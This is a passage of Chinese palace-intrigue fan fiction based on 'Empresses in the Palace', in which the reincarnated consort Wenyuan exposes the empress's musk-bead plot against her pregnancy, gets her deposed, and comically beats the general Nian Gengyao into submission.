看着自己那老儿子感动的神色,太后猛地转头看向皇考贵妃。好啊,从前在先帝的后宫不声不响的,如今当了太妃倒是伶牙俐齿的很。 太后咬牙,太后生气。这般暗戳戳彰显自己贤惠的做派向来都是她乌雅氏的专属,如今被皇考贵妃抢了先,心里头说不出的别扭。 众所周知,皇上是个给点关怀就会感动的人,他搂着文鸳的手不自觉的收紧,只觉得心头热乎乎的。 曹贵人单看在场的形势就知道这一次已经稳了,至于能不能一举拿下皇后,也就看皇考贵妃还有几分力了。 她低着头眼珠子转了转,凑到华妃身边小声说了一句。 华妃没有看曹贵人,只是细微的点了点头。 “皇上,先叫曦贵妃歇一歇吧,叫太医也来看看,总要人证物证的,给曦贵妃一个交代。” 被华妃强制着扶着坐下的文鸳委屈的看着华妃:“呜呜呜,兰兰,皇后好可怕。” 华妃被这一眼瞧的保护欲溢了出来,她轻轻摸了摸文鸳的头发轻声安慰着:“鸳鸳莫怕,有我护着你呢。” 文鸳看了皇上一眼,华妃不着痕迹的给了皇上一个白眼,遮挡住了文鸳的视线。 而太后还在为皇后辩解,并且拉出了纯元。 皇上听的耳根子都起茧子了,脸色烦躁。 “喝些茶,降降火。太后娘娘,叫皇上歇一歇吧,这一大清早的,国事家事事事难为,铁打的身子也受不住了。” 文鸳趴在华妃怀里抬头冲她挑了挑眉。 华妃顺着她的意思叫颂芝去翊坤宫取了些点心汤水。 “都是臣妾宫里备着的吃食,皇上先用些。” 皇考贵妃跟着喝了杯茶,等着太医的检查。 虽然章弥也来了,但江城江慎和负责皇考贵妃身子的吴有为都到了。这么些人在,章弥自然不能说谎。 盒子里的红麝香珠千真万确抵赖不得。 “唉,若说皇上就算是寻常人家的男子,回到家里一地的官司也是麻烦。皇后你到底是一国之母,本宫僭越提醒你一句,这江山繁荣昌盛和子嗣有很大的关系。 你已经贵为皇后,今后无论皇上属意哪个阿哥,你都是太后,何苦做造孽的事?叫皇上这般为难,你难不成就痛快了吗?” 太后眼看着皇上被皇考贵妃忽悠成功,立刻沉声道:“皇考贵妃,皇后是国母,身为先帝太妃,还是勿要插手的好。” 皇考贵妃低头的瞬间用帕子掩了掩眼角:“罢了,皇上是太后娘娘您的亲子,您自己都不在乎子孙,臣妾做什么外道事。 不过太后娘娘您有一句话说错了,皇后是国母,但曦贵妃也并非可有可无的小官之女。臣妾出身瓜尔佳氏,虽然与曦贵妃不算同支,但也是本家侄女。 您心疼您的侄女,臣妾也心疼臣妾的侄女。” 皇考贵妃气场大开,对上太后丝毫不见退缩。 文鸳又蹭到了皇上身边:“皇后娘娘都要打您的孩子了,您还不罚她。今儿不罚,明儿她就以为这是可以做的。可不是谁都像臣妾一样有个好姑母撑腰的。” 曹贵人总觉得皇上此刻的情绪有些不太对,她拉着文鸳坐在椅子上:“娘娘您歇歇,知道您想要出了这口气,但是皇上有皇上的思量。” 一句话说给皇上听,配合着文鸳挥舞的拳头,皇上对文鸳如今的动作有了新的思量。 瓜尔佳氏确实得人心,但若说有什么别的心眼子,他倒是也不太相信。 曦贵妃怕是想要打皇后一顿才是正经。 再配合着刚才皇考贵妃的话,皇上自然是察觉出太后对皇后的保护和对他的子嗣的忽视。 从进景仁宫到现在,太后没有问一句曦贵妃的胎是否安好,反而对着那个外八路的侄女句句维护。 反而是皇考贵妃,刚开始的态度软和,无非是要一个皇后的罪名。 他看了一眼在场的后妃,几波人马泾渭分明。 以曦贵妃为首,华妃,齐妃,丽嫔,博尔济吉特贵人,富察贵人,曹贵人,和夏常在。 上首的皇后和太后自成一派,身为后宫最大的两位主子,底下竟然没有一个嫔妃跟随。 其余的,敬嫔,欣答应和沈常在各自在自己的座位上站着,像是漠不关心的看客。 曦贵妃势大,按理说是该防备的。 但想想文鸳是如何集结的这些势力,皇上又懒得多此一举。 但今日之事皇考贵妃有一言说的很对,他人到中年,名下压根没有得用的儿子。 好不容易有个满军旗大姓的嫔妃有孕,若是不能保下来,怕是前一阵刚压下去的抬举汉军旗一事,又要被翻腾出来。 皇上转动着手里的珠子,半晌没有说话。 他看向一旁的文鸳,那双眼睛眼巴巴的看着她,含着期待。 这眼神实在太好懂了,她期待的不是皇后的下场,而是在期待他下令得以亲自动手给皇后一顿教训。 若是年宴前出现了这事,皇上会在废后和叫皇后病逝两个选项上选择后一种。 但年宴后,皇上一点也不担心朝堂不稳,因为信郡王一脉重新活跃在朝堂,他的底气稳稳的。 所以,皇上选择了废后。 (作者权谋差很正常啊,不然为什么不写权谋要写后宫啊,这还用问。我要是权谋那么厉害,我去写龙傲天去了。) 第290 章 瓜尔佳文鸳21 其实嫡妻残害子嗣这个事在哪都很常见,只不过像皇上这样人到中年身下三瓜俩枣的也确实过分了些。 如果皇上如今仍旧是雍亲王,那没人愿意管雍亲王府的破事。左右是一个爵位,没有子嗣继承还少了皇家一笔开销。 但现在皇上是皇帝,他需要一个或多个优秀的儿子从中选择来继承这个皇位这个国家。 所以皇后的所作所为便被放大了数倍。 若是小答应小常在的肚子,皇上也能罚个禁足月例简单略过。 可如今受害者是瓜尔佳氏,虽然是旁支,但也是主支托举进来的。放眼整个后宫,有家族支撑的也只有这位瓜尔佳氏。 更何况皇考贵妃在这看着,若是皇上简单处理,怕是彻底失了满军旗的心。 然而太后和皇后并不能接受这么大的惩罚。 “皇帝,你忘了你如何允诺纯元的吗?” 这是两人最后一道底牌,眼光狭窄的乌雅氏和乌拉那拉氏满脑子只有用情爱捆绑皇上思想的念头,完全忘了现在的场合。 一国太后,逼迫自己亲儿子原谅杀害亲孙的皇后,还是在苦主面前,这实在是滑天下之大稽。 “不是,臣妾就不理解了,纯元皇后到底多倒霉啊,死了都要被你们一直提起一直利用。你们不是纯元皇后的亲人吗?怎么还叫人家不得安宁呢” 文鸳暴躁输出,她实在受不了太后和皇后两个人穷图匕见的时候总是拿纯元皇后来挡伤害。 华妃伸手拦了一下,她虽然没见过纯元皇后,但到底也是打听过的。据说皇上还是王爷的时候对纯元皇后爱的深沉,鸳鸳这般口无遮拦,难免被皇上迁怒。 文鸳不懂华妃的苦恼,她扒拉开自家华子的手冲到太后和皇后面前。 “太后娘娘和皇后娘娘可真有意思,先前说沈常在和甄答应的时候就是这般,做错事了只会一味的转移注意力,这可好,叫皇后娘娘学会啦? 怪不得皇后娘娘没有重罚她们两个,是自觉她们两个当了师傅吗? 明明是红麝香珠的事,偏要拉扯什么纯元皇后。这跟纯元皇后有什么关系?皇上喜欢纯元皇后,就一定要喜欢纯元皇后的妹妹吗?好没道理!” 皇上被文鸳挡在身后,一时间无话可说。 但是这般论调实在是他往日没想过的方向,一时间也听的认真。 “曦贵妃,哀家看你现在好的很,何必如此计较。” 太后自当了德妃后就没有被人指着鼻子骂过,养尊处优了这么些年,还是第一次碰到如此不服管教的刺头。 想她一国太后竟然被皇帝的妃嫔这般欺负,皇上可真没用。 “什么?!” 这话听的文鸳的火气蹭蹭上涨。 “臣妾没事是因为臣妾的母家得力送了靠谱的宫女给臣妾,并不是因为皇后的计策不歹毒!加害者不想着和臣妾这个受害者道歉,反而怪罪臣妾这个受害者,这后宫还有没有王法了!” 一旁的皇考贵妃目瞪口呆。 她知道自家这个小辈是有些莽撞在身上的,但没想到她这么敢说。怪不得主支写信来叫她常看着,这一个错眼就有可能口出狂言啊。 不过这样真的好痛快。 文鸳闷头往前冲,皇考贵妃在后头描补:“皇上,太后娘娘恕罪,臣妾这位侄女从小被娇养着没吃过委屈,所以有些口无遮拦。” 文鸳一言不合就大闹的性子皇上早就知道,在年宴上都敢当众把老十七顶的下不来台,她的性子就没好过。 说生气也算不得生气,毕竟太后这么多年心有多偏只有他自己知道。虽然渴望母爱,但受到过的不公平也有了奇异的发泄口。 皇后倒是叫他另眼相看了,做坏事做的这么光明正大的还是头一个,皇上也不知道说她蠢好还是聪明好。 不过照目前的形势来看,乌拉那拉氏无用,瓜尔佳氏却正是蒸蒸日上的时候。 只是皇上还有所犹豫,文鸳礼仪周全行事光明磊落,和宗亲相处得当基本都是优点,只有一样,实在太闹腾了。 当妃子的时候就能忽悠的三分之二个后宫跟着她闹,这要是当了皇后,岂不是后宫永无宁日? 不过现下明显不是思考这些的时候,皇上敛了心神看了眼太后。 “都下去吧。” 剩下的话就不是其他人能听的了。 文鸳不情不愿的被华妃哄着出了门,不过在这之前,她置气似的徒手扯烂了皇后的迎枕,又掀翻了一旁的案几。 这才重重的哼了一口浊气,瞧着神清气爽的走出了景仁宫的地界儿。 “皇额娘,莫要再提纯元也莫要说什么孝道。皇后得罪的不止是曦贵妃,是整个满军旗。皇额娘,你保不住皇后的。” 皇上这句话说完,太后就闭上了眼。 当初皇后任由汉军旗踩在满军旗头上的风波还未停息,又闹出了给瓜尔佳氏的曦贵妃打胎的丑事。 皇上说的对,皇后保不住了。 “到底是纯元的妹妹,皇上,给宜修个体面吧。” 皇后不明白,为何就得罪了满军旗?她只是顺着皇上的心意纵容了甄嬛,只是打了个孩子而已。 只能说夏虫不可语冰,文鸳利用皇后的有限的认知把她推到了满军旗的对立面。身为大清的立身之本,在皇后第一次轻易放过甄嬛时,就注定了下场。 华妃等人先一步离开景仁宫,给身后的文鸳和皇考贵妃留下了单独说话的空间。 “今日事你有些冒险了。” 皇考贵妃淡淡的说了一句,虽然胜算大,但风险也不小。 文鸳揣着手手在袖子里轻笑了一声:“这位皇后是个什么东西姑母了解,我更了解。今日也算是天时地利人和,若是留着她,我怎么更进一步呢?” 要把皇后踩在脚底下,红麝香珠就是最好的引火索。 她自认皇后是不会叫她这个满军旗的生下孩子,而永寿宫又没有空子,皇后的手段,便也只有这个了。 再加上第一次请安时对满汉一事的推动,如今也算是完成了整个计划了。 皇考贵妃笑着拍了拍她:“无妨,姑母还在,虽然不如太后厉害,但护住你还是容易的。” 文鸳又蹭着皇考贵妃的暖轿,去宁寿宫吃了顿好的补一补今天受到惊吓的小心灵,这才回到自己个儿宫里。 永寿宫门口的禁军整齐的站着,文鸳用得意掩住了内心的想法,迈着熊孩子的步伐冲了进去。 地府的原主:记下来记下来,我就说我的做法都没问题,闹起来就对了!全是好处。 九殿在一旁看了一眼:幸好这剧中人没有下一世了,这要是学以致用,那怕是比原来的下场还要惨些。 第291 章 瓜尔佳文鸳22 “皇上我回来啦!” 文鸳一阵风似的冲到了皇上怀里,满脸笑意的抬起头,丝毫不见早上的阴霾。 皇上熟练的把人往座位上带,隐蔽的揉了揉胸口,面上不自觉的带了些纵容。 “都是当额娘的人了,还是这般莽撞。” 宫里头哪个孕妇不是小心翼翼探三步走一步的,偏这个小混蛋整日里胡搅蛮缠大呼小叫的也不见丝毫虚弱,这体格子可太让皇上羡慕了。 文鸳得意的晃了晃脑袋:“皇上,臣妾今儿是不是又立功了。” 虽然是疑问句,但言语间的肯定只要不是傻子都能听出来。 没有对后位的觊觎也没有对权利的渴望,满脸自以为揭发了皇后的阴谋的骄傲,是真的很可爱了。 皇上冷不丁的笑出了声,把他的后宫搅和的翻天覆地小混蛋倒是心大的没往心里去。今儿那麝香都快怼到她嘴里了,倒是半分后怕都没留下。 “你身边的宫女倒是个好的,还懂香料,也算是叫你逃过了一劫。” 茉莉带了些跟自家主子同款的傻笑叫皇上实在没眼看。 瓜尔佳氏好好的一个婢女,被文鸳带成了这个样子,真是造孽。 “那是~不仅懂香料,臣妾这宫女可是闻得出来所有能伤胎的味道。” 文鸳高昂着头,样子那叫一个骄傲。 皇上不动声色的看了一眼茉莉和栀子又瞧着文鸳说道:“那很好,若是有人起了歪心思,你也能有所防范。” “那是当然,臣妾这宫女虽然不会合香,但是厉害着呢。” 皇上心里头的谜团越来越大,他开始各种阴谋论的猜忌整个后宫,但又一条一条的推翻自己的猜测。 既然曦贵妃的婢女懂香,那翊坤宫的欢宜香必瞒不过她。如今华妃安分,仍旧与曦贵妃交好,难不成,曦贵妃有意隐瞒了欢宜香的真相? 若当真如此,那曦贵妃如此做派岂不是瞒过了整个后宫。 可这也不对,如此一来,今日之事暴露了茉莉,自然会引起朕的怀疑,所以,曦贵妃到底在想什么呢? 那便是华妃已经知道了实情?如今忍气吞声不过是背后谋划着更大的阴谋? 华妃,有这么好的忍耐力?皇上对此表示怀疑。 “皇上?皇上?” 文鸳久不见皇上说话,揽着皇上的肩膀使劲儿摇晃了两下。 皇上确实回神了,但是头也晕了。 “你做什么?” 先不说曦贵妃到底有何目的,就是这份力气确实是实打实的折磨人。 “皇上您怎么说着话就走神啦?” 文鸳歪着身子,把脸凑到低着头的皇上的面前。 “朕就说你怎么不去翊坤宫了,你既知道欢宜香,为何不告诉华妃?” 被晃的头晕脑胀,皇上没好气的直接询问。 文鸳甚至没有思考,脱口而出:“告诉兰兰什么啊?” 皇上深吸了几口气,感觉自己要被气厥过去了。 茉莉连忙上前:“皇上,可是欢宜香里的麝香吗?” 皇上更头晕了,这主仆俩到底是怎么回事?! “哦!这怎么啦?臣妾不去不就是了。皇上您真是的,麝香名贵您还悄悄的给,做好事不留名,皇上也太谦逊了。” 皇上捂着脑袋感觉自己她们主仆不是一个空间里的,怎么感觉自己听不懂人话了呢? “臣妾听茉莉说啦,还看了看本草纲目呢,这麝香确实好,强身健体开窍醒脑消肿止痛,兰兰能有如今的体格子从不生病,麝香可是出了大力呢。也就是孕妇用不得,等兰兰有孕了,我记着给兰兰拿走就是了。” 皇上越听越不对,麝香不能避孕?不能避孕? 那他这么多年省吃俭用也要给华妃用了麝香到底在干什么?给华妃补身子吗? “什么麝香?” 华妃在翊坤宫思来想去还是觉得不放心文鸳,怕皇上迁怒,隔壁又实在安静,她提着心走到门口就听到了麝香。 这玩意儿多危险啊。 但是,经过茉莉的解释后,华妃有种这么多年没读过书的感觉。 “你是说,本宫的欢宜香里有麝香,还是强身健体的?” 华妃简直不可置信,她第一反应明明是皇上不想让她有孕。 但是看皇上那正常的神色,好像整个永寿宫只有她是个没文化的大老粗。 茉莉上前一步解释道:“回禀华妃娘娘,【神农本草经】中有记载,麝香位列上品,主辟恶气,温疟,痫痉,去三虫等功效。因着其有活血化瘀之效,有孕之人是用不得的。 而且,麝香名贵且味道复杂,处理好后留香持久,似有千花万树同时盛开的浓郁繁复花香,是大多宫廷香料的主要用料呢。” 皇上的神色如常,但实际已经开始在内心翻书了。 他并不是文盲,相反,在先帝的高压下对大部分书籍都有所涉猎。但自己是因为什么认定麝香避孕的呢?皇上自己也想不通。 “哎呀,兰兰你在家里不读书就算了,怎么还听风就是雨的。我还以为你知道呢,翊坤宫都要叫你腌入味儿了。你这么些年活蹦乱跳精气神高涨的,可都是麝香的功效呢。” 不论皇上给华妃欢宜香的本来目的是什么,总归如今这般有利于她升职加薪的局面她是不允许被打破的。 断官司申冤,那是另外的价钱,原主付出代价可不是叫她来给别人主持公道的。 皇上瞧着扑到华妃怀里的文鸳,怎么看怎么不对劲。 他上手想要把两个人才扯开,却因为顾及着文鸳的身子始终没能成功。 这一天的闹剧叫皇上的身心俱疲,不光是为着皇后一事,就连华妃的欢宜香也叫他现在想要安静的梳理一番。 “好了好了,天儿也不早了,都回去歇着,朕还有事,曦贵妃既然没事,朕就先回养心殿了。” 是谁告诉皇上麝香避孕的不重要,重要的是皇上防备了这么多年,结果华妃的身子从小产时就坏了,这叫他这么多年的提心吊胆像是一个笑话。 皇上人还没走远,就听得华妃说道:“鸳鸳你今日受委屈了。正好我二哥也回来了,虽然不能惩罚乌拉那拉氏,但在宫外叫乌拉那拉氏一家受个伤还是很容易的。” 皇上脚步微顿,但很快就走了出去。 这事闹到哪里都是乌拉那拉氏的错,想出气就出口气吧,憋着对胎儿也不好。 “年羹尧吗?我可听说他是最嚣张不过的将军了,要是皇上能叫我也见识一下就好了,我到要看看,是我嚣张还是年将军嚣张。” 笑着的华妃一下就收敛了嘴角,她二哥武艺出众是不错,但,撒泼野蛮这一块,好似也没什么太大的胜算。 “二哥就是嗓门大了点,其实并不算......” 华妃绞尽脑汁的为自家二哥找补,却不知道年羹尧得知文鸳以进宫不到一年就踩在自家妹子头上的位分后,就惦记着给自己‘受苦’了得小妹讨‘公道’了。 第292 章 瓜尔佳文鸳23 除却曦贵妃便是那位仍旧是贵人的富察氏。 更别说曦贵妃如今有了身孕,他们不支持曦贵妃,难不成支持剩下那几个汉军旗的小卡拉米吗? 后位虽然被废,但看在纯元的面子上,皇上还是留了宜修一命,降为嫔位,封号为谦。景仁宫仍旧叫她住着,只是没有圣旨,不得踏出一步。 “知人知面不知心,原瞧着谦嫔温和端庄,谁曾想竟是内里藏奸的这么一个人。也就搭着曦贵妃是瓜尔佳氏底蕴充足,若是换成咱们,怕是还要美滋滋的谢恩呢。” 沈眉庄照旧到了碎玉轩报到,像回家似的坐在甄嬛对面。这后宫没有一日安宁的时候,两个人总凑在一起对实时紫禁城新闻发表自己的看法。 甄嬛把茶杯往沈眉庄身边推了推,虽然位居末尾的答应,但有沈眉庄的照料,日子倒也不算太难过。 “是啊,谁能想到谦嫔对有孕的嫔妃如此狠心呢。好在皇上秉公执法,今后咱们也可安心了。” 顺着窗户往外看去,本就有些暗沉的天空越发显得雾蒙蒙的。碎玉轩这后殿实在憋闷,姐妹俩偶尔想去御花园逛逛,又怕碰到曦贵妃。 殿选上再次相遇时彼此都有好多话要说,可真到了如今日日相见时,该说的都说了,唯余两人对现状的不满和茫然,就如同外头那阴沉沉的天儿,始终寻不得光亮。 沉默了一会儿,沈眉庄突然开口道:“对了,最近也不见陵容来坐坐,可是有什么事?” 甄嬛这才猛然想起还有这么一个小伙伴。 “我也不知,好似自从上次侍寝出了些问题后,陵容就再也没来过了。” 沈眉庄皱了皱眉头有些烦躁:“她这是怨我截了她的恩宠吗?侍寝都是皇上的旨意,她自个儿不争气,不去怨皇上反而来怪罪我,实在没道理。” 甄嬛抿了抿唇,她知道上次之事并不能怪眉姐姐,但到底陵容出了事,得了好处的是眉姐姐。这般言语若是叫安陵容听到了,又是一番官司。 “好了,这般事陵容不愿意出门也是有的,得空了我陪姐姐去看看陵容就是。她出身低些,眼界短,不懂深宫中姐妹相扶才能安稳无虞。” 这是甄嬛和沈眉庄近期第一次聊到安陵容,也是安陵容自侍寝失败后鼓起勇气再一次踏入碎玉轩的地界儿。 要不说老话说的好呢,背后说人是非多,大约就是如此吧。 宝娟扶着安陵容站在门口久久不曾动弹,她也不急,反而把眼神对向了一旁的宝鸽。 两个人都是谦嫔的探子,可如今谦嫔被困在景仁宫内,曾经负责联络的绘春等人都被皇上打死扔了出去。 她们俩也算是半重获自由。 只是宝娟还好,安答应即便出身卑微也遭遇了‘完璧归赵’,但好歹没有惹上什么官司,不好过但也没有生命危险。 而甄答应就不同了,尊卑不分踩着满军旗的脸面给自己做脸的名声可是没办法洗掉的。宝鸽颈上的脑袋,时刻都有可能离她而去。 不等宝鸽和宝娟用眼神商量出来对策,隔壁的御花园嘻嘻哈哈的动静又响了起来。 “曦贵妃又来了。” 沈眉庄起身走到门口,刚打开门,就看到眼眶通红的安陵容站在那里。 “陵容?你什么时候过来的?怎么不进来?” 瞧那样子还有什么不懂呢?这是把她们俩刚才的话听进去了。 沈眉庄瞧着温和,但其实性子里尖锐的那一面很难忍得住。 “你既来了,便进来就是。何苦在门口巴巴的站着?是我们两个不招待你?还是你非要做这听墙角的事?” 她本就不太瞧得上安陵容,门户低并不是交朋友的标准,这畏畏缩缩多思多忧的性子,才是她不喜的关键。 甄嬛听着声音赶忙出来,看安陵容无声掉泪的样子也是头大。 “陵容,眉姐姐不是这个意思,近日后宫事多你也是知道的。眉姐姐心绪不宁,又常不见你来坐坐,一时间说错了话,你不要往心里去。” 安陵容不知道自己为什么没走,只不过她现在缓过神了,瞧着这两位姐姐一个直言她的窘迫一个看似说和却满含指责。 “无妨的,耽误两位姐姐说话了,陵容就先回去了。” 说着,安陵容转身离开,没有给甄嬛开口的机会。 安陵容再不济也是正经的官家小姐,甄嬛自知她和沈眉庄现在的困境,更加不想叫安陵容跟她们离心。 “眉姐姐,如今咱们两个身上还压着尊卑不分的罪名,陵容虽位卑但身无囹圄,对咱们未尝不是助力。” 甄嬛拉着沈眉庄往外走,快速的解释了一句。 沈眉庄本来挣扎的动作一顿,叹了口气跟着追了出去。 “哟,这是怎么个说法,你们三个在玩儿什么?” 只是甄嬛忘了,从碎玉轩出来一定会路过御花园,而御花园里,有天不怕地不怕的曦贵妃。 “嫔妾给曦贵妃娘娘请安,给华妃娘娘请安。” 安陵容先一步蹲身行礼,皇后变成谦嫔后,宝娟给自家小主紧急培训了宫廷礼仪。靠山倒了一个,她就努力扶持下一个。总之打工人宝娟势必要保住自己的小命。 与礼仪周到的安答应相比,沈常在和甄答应就显得有些潦草。毕竟快步追出来,还没看清眼前的人,下意识的行礼便落下了几个。 “怎么?本小主与博尔济吉特贵人是不在了吗?” 夏冬春拉着阿茹娜恶狠狠的瞪着地上的甄嬛和沈眉庄。 前个儿她风寒参加讨伐前皇后现谦嫔的大战没有发挥出实力叫她心里一直带着遗憾。 今儿就有两个不顺眼的人撞了上来,可不是正好用来撒气了。 “是嫔妾失礼,博尔济吉特贵人安好,夏常在安好。” 若单是一个夏冬春,甄嬛和沈眉庄少不得上去‘据理力争’一番。 但还有一个蒙古来的博尔济吉特贵人,已经在满汉上吃了一亏的两人,自然也知道蒙汉也是忌讳。 “起来吧,你们这是在干什么?安答应,她们两个追你做什么?” 文鸳好奇的看着面前神色各异的姐妹三人,安陵容明显的疏离瞧着应当是有趣的事。 “曦贵妃娘娘见笑了,陵容落了东西在碎玉轩,嫔妾和眉姐姐想着叫陵容一同回去取。” 甄嬛赶在安陵容前开口,但刚和她们离心的安陵容并不喜欢这番解释。 “不是的,曦贵妃娘娘,华妃娘娘,嫔妾上次侍寝失败后,便不曾出门。今日去碎玉轩,本想着和甄答应说说话,还未进门,便听得沈常在说嫔妾不争气。嫔妾一时气不过才走的,并非如甄答应所言。” 安陵容一直记着上次在延禧宫的时候文鸳说的那句话,因为她和甄嬛交好,所以她们都不愿意带她一起玩儿。 若甄嬛真的当她是自家姐妹也便罢了,总归她不能叫所有人都喜欢。 可甄嬛和沈眉庄并未把她放在心里,这叫她如何能受得了。 “啧啧啧,甄答应和沈常在可真是后宫少有的两面派了。” 原主和安陵容的矛盾大部分集中在原主身上,看不起安陵容的出身还毒坏了安陵容的嗓子。 一开始原主要把安陵容踩在脚下也无非是这个意思,跟甄嬛相比,安陵容这个可有可无的人只要被压的翻不了身,就算完成任务。 甄嬛和沈眉庄才不会认下这个评价,据理力争的样子叫文鸳有些无聊。 “啪!” 文鸳一使劲把两人推了个屁墩。 “顶嘴顶嘴就会顶嘴,就你们两个长着嘴,叭叭叭的真烦人。” 文鸳是谁?她可是紫禁城最不讲理的熊孩子,打嘴仗?那太累了,不如动手来的痛快。 “你们两个不服气是吧?看的出来,还是觉得本宫这个贵妃,这个满军旗教育不了你们是吧?” 甄嬛和沈眉庄连忙跪在地上:“嫔妾未有此意。” 文鸳笑了起来:“既然知道错了,本宫瞧着抄宫规也没什么意思,茉莉,带着人给甄答应和沈常在换了平底鞋。叫人看着,本宫就罚她们围着这御花园跑上五十圈。” 甄嬛不是总有道理吗?吵架太费口水了,文鸳选择体罚。 第293 章 瓜尔佳文鸳24 文鸳几人看着生怕这两人厥过去,贴心的华妃把江城叫了来在一旁看护着。 虽然文鸳有了身孕,但并不妨碍她放风筝踢毽球和蹴鞠等游戏,大家陪的心惊胆颤,但文鸳本人倒是玩儿的开心。 等到皇上收到消息赶来时,甄嬛和沈眉庄已经变成了两个相同的大红脸。汗湿的头发紧紧贴着头皮,散乱的发髻没有丝毫美感。 皇上嫌弃的往后退了两步,看了眼玩儿了一下午脸不红气不喘的文鸳,再看看一旁即使疲累也眼睛亮晶晶的华妃等人。 对甄嬛和沈眉庄更加有些嫌弃。 “好了好了,你有了身子也该注意些。” 皇上舍不得甄嬛那张脸是真,但如今在没有任何感情基础,甚至在甄嬛踩在满军旗头上闹出来的一系列麻烦后,好感甚至为负。若不是那张脸硬撑着皇上心里的那点惦记,估计早就在冷宫安家了。 所以对于文鸳这种不痛不痒不毁容的惩罚皇上是不看在眼里的。 甚至对甄嬛和沈眉庄有些厌烦。明知道曦贵妃不好惹的情况下愣要用自己那点清高的理论冲撞上去硬碰硬,也不知道是蠢的还是傻的。 “臣妾身子好着呢,皇上陪臣妾玩儿投壶吧?” 华妃几人已经有些力竭了,但文鸳还是有些没尽兴。 皇上深吸了口气:“走,去你的永寿宫玩儿去。” 至于还没有跑完圈的甄嬛和沈眉庄,自有太监和嬷嬷看着,不需要放在心上。 “皇上,年将军回京了吗?” 皇上这体格子也差劲些,文鸳还指望着皇上活到她儿女成人的时候呢,所以祸祸起来格外的束手束脚。 “回了,你怎么惦记上年羹尧了?” 皇上被拉着投了壶,踢了会儿蹴鞠,吃完了饭还被文鸳以胎满三个月稳定了为由做了会儿成年人运动。整个人已经摊成了一摊不算软乎的猫饼,除了眼珠子哪里都不想动了。 “兰兰总说年羹尧骁勇,一定剑法很好吧?” 皇上动了动眼珠子,虽然男女大防是大事,但命更重要。年羹尧,朕一定会为你加油的。 只是呼吸间,皇上已经为年羹尧定好了下扬。 过了几日,果然年羹尧进宫述职。 华妃拉着文鸳好好打扮了一番,距离上次见她二哥也有好长时间了,虽然只是一面,但能看到打仗归来的二哥健健康康的就好。 “我有孕了,不戴这么多了。” 文鸳难得的拒绝了华妃的打扮,把大部分的流苏步摇换成了珠花和金簪。 “也好,总归小心些是没错的。” 沉浸在二哥回来的喜悦的华妃完全忘了前几日文鸳想和年羹尧比划两下的事情。 “这位便是曦贵妃吧?臣在战扬上受了些伤,腿有疾,不便起身,曦贵妃勿要见怪。” 华妃猛地睁大眼看着自家二哥,完了,忘跟二哥通气了。 她默默的扶了扶文鸳的胳膊,想了想又觉得不妥,拉着皇上后退了两步。 “哦哟哟,受伤了,不便起身~” 文鸳语气拐着弯的学着年羹尧的话,叫年羹尧听着刺耳。 “敢对本宫不敬?!本宫瞧你是立点功就心高气傲!” 说着,文鸳抄起手边的花几就冲了上去。 “不过是一介汉臣,给你点脸面称呼你一句年大将军你倒好,不知道自己几斤几两了?在本宫这满清的统治地界儿挑衅本宫!你是不是还想上天啊!” 年羹尧有会一会曦贵妃的心思,但并不是这么一个扬景啊! 他堂堂抚远将军对上一介后妃,被压着打,这对吗? “皇上皇上您管不管曦贵妃了?您若是再不拦着,臣可要以下犯上了!” 华妃站在后头拳头松了紧,紧了松的。 瞧着她二哥头上的大包狠狠的吸了口气,脚脚不自觉的往前迈了一步,而后看着文鸳那凶残的样子又默默的收了回去。 “以下犯上?你不一直在以下犯上吗?谁给你的勇气敢在本宫面前称王称霸了?” 花几到底不是专门用来打架的物件,用着不是很顺手。 文鸳把花几扔到一边,跑到皇上身后的博古架上,把自己那把金光闪闪的大宝剑拿了出来。 “嘿!吃本宫一剑!” 那剑只是漂亮,既不锋利也不尖锐,华妃倒是不怕自家二哥有什么血光之灾。 只是文鸳这力气,这架势,她二哥可能要满头包了。 年羹尧抽空缓了口气,然后看见那柄金色的长剑笑出了声。 曦贵妃一介女流,哪里懂什么剑法。 他手一伸想要抓住金剑,却不想自己给直接打倒在地。 “还敢抢兰兰送给本宫的宝剑!本宫打死你这个强盗!你说,你在本宫面前这么无礼,是不是连皇上和兰兰都欺负的!敢欺负本宫的人,本宫不把你脸打开花都是本宫无能!” 皇上和华妃同时用手捂住了眼睛,没办法,太残暴了。 年羹尧已经算是孔武有力了,但对上力气大又精力永不衰竭的文鸳还是差点意思。 再加上年羹尧自认为自己已经是不讲理,可偏偏碰上了讲理却只讲自家道理的曦贵妃。 说不过打不赢,七尺高的男儿在战扬上没有哼过一句痛,在养心殿曦贵妃的教育下,眼泪都快被打了出来。 “鸳,鸳鸳啊,差不多了吧?我哥哥再打,就有点死了。” 华妃到底是心疼自家二哥的,不过二哥什么性子她也知道。若非自己服气了,今后的幺蛾子还多的是闹呢。 文鸳起身看了眼华妃:“兰兰,年羹尧在家有没有欺负你?” 这话问的,年羹尧更想哭了。 他就是以为世兰被曦贵妃欺负了才主动来挑衅的。哪里想曦贵妃是世兰的好友呢! “没有没有,二哥对我很好的。” 文鸳点了点头,又看向了皇上。 “皇上,年羹尧欺负你了吗?” 皇上有些犹豫了,年羹尧嚣张跋扈对他多有不敬,可现在这情形,年羹尧还禁得住一顿打吗? “好啊!你欺负皇上!” 见皇上不说话,文鸳直接举着剑又冲着年羹尧‘啪啪’打了两下。 年羹尧一骨碌翻身跪在地上:“皇上,臣自知这些年嚣张跋扈多有不敬,臣罪该万死啊皇上。” 皇上和年世兰都震惊了,年羹尧就算再疼也不会有这般认罪的时候,这简直不像他了。 只有文鸳知道,年羹尧挨的打要比平常的小伤小痛难忍的多。 她当鬼时经历过这个国家最黑暗的时期,一路跟着一个老中医下放到大西北。偷摸学了不少看家的本领。只是到底她没什么本事,还是眼睁睁的看着老中医没有等到光明到来的那一天,永远的留在了那里。 中医文化博大精深,对穴位的了解和掌控非常人能理解。 她看似毫无章法的挥剑,其实落点都在隐蔽的穴位上。 年羹尧此时的状态她倒是不难理解,毕竟抽筋剥皮似的疼痛,一般人是忍不了的。 文鸳放下剑靠在华妃怀里被华妃擦了擦手,挑衅的挑眉看着年羹尧。 她也算是为自己的小伙伴解决了今后的大雷呢,又是完美的一天。 第294 章 瓜尔佳文鸳25 年羹尧挨了顿打眼神果然清澈了许多,不仅收敛了以往狂悖的性子,买卖官职一事也不敢再做了。 不是他被打的气血通畅改过自新,而是那天被压着打的时候曦贵妃低声一句‘你若是再敢做那些抄家灭族的事连累了我的兰兰,本宫就立刻打断你的命根子’。 年羹尧不是那容易投降的性子,但曦贵妃眼底的狠辣叫他心头凉气升腾。 当时的低头是肉体的折磨叫他服气,而回到府里缓过来这口气,年羹尧疼着疼着就哭出了声。 